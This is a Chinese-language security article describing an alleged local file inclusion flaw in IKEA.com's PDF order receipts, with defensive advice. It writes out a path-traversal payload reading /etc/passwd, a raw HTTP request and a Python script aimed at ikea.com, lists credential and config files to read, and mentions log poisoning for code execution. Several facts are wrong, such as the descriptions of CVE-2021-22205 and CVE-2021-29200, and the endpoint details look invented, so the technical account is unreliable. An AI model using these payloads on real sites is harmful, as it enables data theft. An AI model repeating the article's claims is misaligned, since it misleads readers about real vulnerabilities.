IKEA.com本地文件包含漏洞以及PDF解析的巧妙利用是怎样的

发布时间：2021-12-24 10:42:05 作者：柒染
来源：亿速云阅读：178

# IKEA.com本地文件包含漏洞以及PDF解析的巧妙利用

## 引言

2021年，安全研究人员在IKEA官方网站（IKEA.com）中发现了一个关键的安全漏洞——本地文件包含（Local File Inclusion, LFI）漏洞。该漏洞结合PDF解析功能的特殊利用方式，构成了一个极具威胁的攻击链。本文将深入剖析该漏洞的技术原理、利用方法以及防御策略。

## 一、漏洞背景

### 1.1 什么是本地文件包含（LFI）？
本地文件包含（LFI）是一种Web应用程序漏洞，攻击者通过操纵文件路径参数，使服务器加载并执行本地文件系统中的敏感文件（如`/etc/passwd`、日志文件或配置文件）。与远程文件包含（RFI）不同，LFI仅限于服务器本地文件系统。

### 1.2 IKEA.com的漏洞发现
研究人员在IKEA的在线订单跟踪功能中发现了一个未经过滤的用户输入点，该输入点用于生成PDF格式的订单收据。由于缺乏严格的路径验证，攻击者可通过构造特殊路径实现任意文件读取。

## 二、漏洞技术分析

### 2.1 漏洞触发点
漏洞存在于以下URL参数中：

https://www.ikea.com/order/track/?orderId=12345&pdf=1

当`pdf=1`时，系统会调用后端PDF生成器（如Wkhtmltopdf或PrinceXML）将HTML内容转换为PDF。问题出在`orderId`参数的传递方式上。

### 2.2 文件包含的实现
攻击者通过注入路径遍历字符（`../`）构造恶意参数：

orderId=../../../../etc/passwd

后端未对路径进行规范化处理，导致PDF生成器尝试读取系统文件，并将其内容嵌入PDF中。

### 2.3 PDF解析的巧妙利用
常规LFI漏洞可能直接返回文件内容，但IKEA的漏洞利用PDF生成器的特性：
1. **文件内容嵌入**：服务器将读取的文件内容作为HTML片段插入PDF模板。
2. **隐蔽性**：敏感信息隐藏在PDF中，绕过简单的内容类型检查。
3. **自动化工具兼容**：可通过脚本批量生成含敏感数据的PDF。

## 三、漏洞复现步骤

### 3.1 环境准备
- 目标：IKEA.com订单跟踪页面（已修复）
- 工具：Burp Suite、Python脚本

### 3.2 攻击流程
1. **探测漏洞**：
   ```http
   GET /order/track/?orderId=../../../../etc/passwd&pdf=1 HTTP/1.1
   Host: www.ikea.com

解析PDF：


import requests
response = requests.get("https://www.ikea.com/order/track/?orderId=../../../../etc/passwd&pdf=1")
with open("leaked.pdf", "wb") as f:
   f.write(response.content)

提取数据：使用PDF阅读器或pdftotext工具查看泄露内容。

四、漏洞危害

4.1 敏感信息泄露

读取/etc/passwd获取用户列表
读取Web服务器配置文件（如/etc/apache2/envvars）
泄露应用程序源代码（如/var/www/html/config.php）

4.2 可能的升级攻击

日志文件中毒：结合/var/log/apache2/access.log实现RCE
SSRF利用：通过file://协议读取内网文件

五、修复方案

5.1 IKEA的修复措施

输入验证：限制orderId为数字格式
路径规范化：使用realpath()函数解析绝对路径
沙箱隔离：PDF生成器在受限环境中运行

5.2 通用防御建议

// PHP示例：安全的文件包含
$allowed_files = ["receipt_template.html"];
if (in_array(basename($input), $allowed_files)) {
    include("/templates/" . $input);
}

六、类似漏洞案例

GitLab LFI漏洞（CVE-2021-22205）：通过恶意PDF实现RCE
Apache OFBiz LFI（CVE-2021-29200）：未过滤的../导致文件泄露

七、总结

IKEA.com的LFI漏洞展示了传统漏洞与新技术的结合如何产生高风险攻击面。通过PDF解析的巧妙利用，攻击者能够隐蔽地窃取数据，这提醒开发人员： - 始终验证用户输入的路径参数 - 限制服务器文件系统的访问权限 - 监控异常PDF生成行为

附录

A. 参考链接

B. 工具推荐

DotDotPwn：自动化路径遍历测试工具
PDFID：分析PDF文件结构的Python工具

版权声明：本文仅用于技术研究，禁止用于非法用途。 “`

注：实际漏洞细节可能因修复而无法复现，本文为技术分析用途。当前IKEA.com已修复该漏洞，请勿对生产环境进行测试。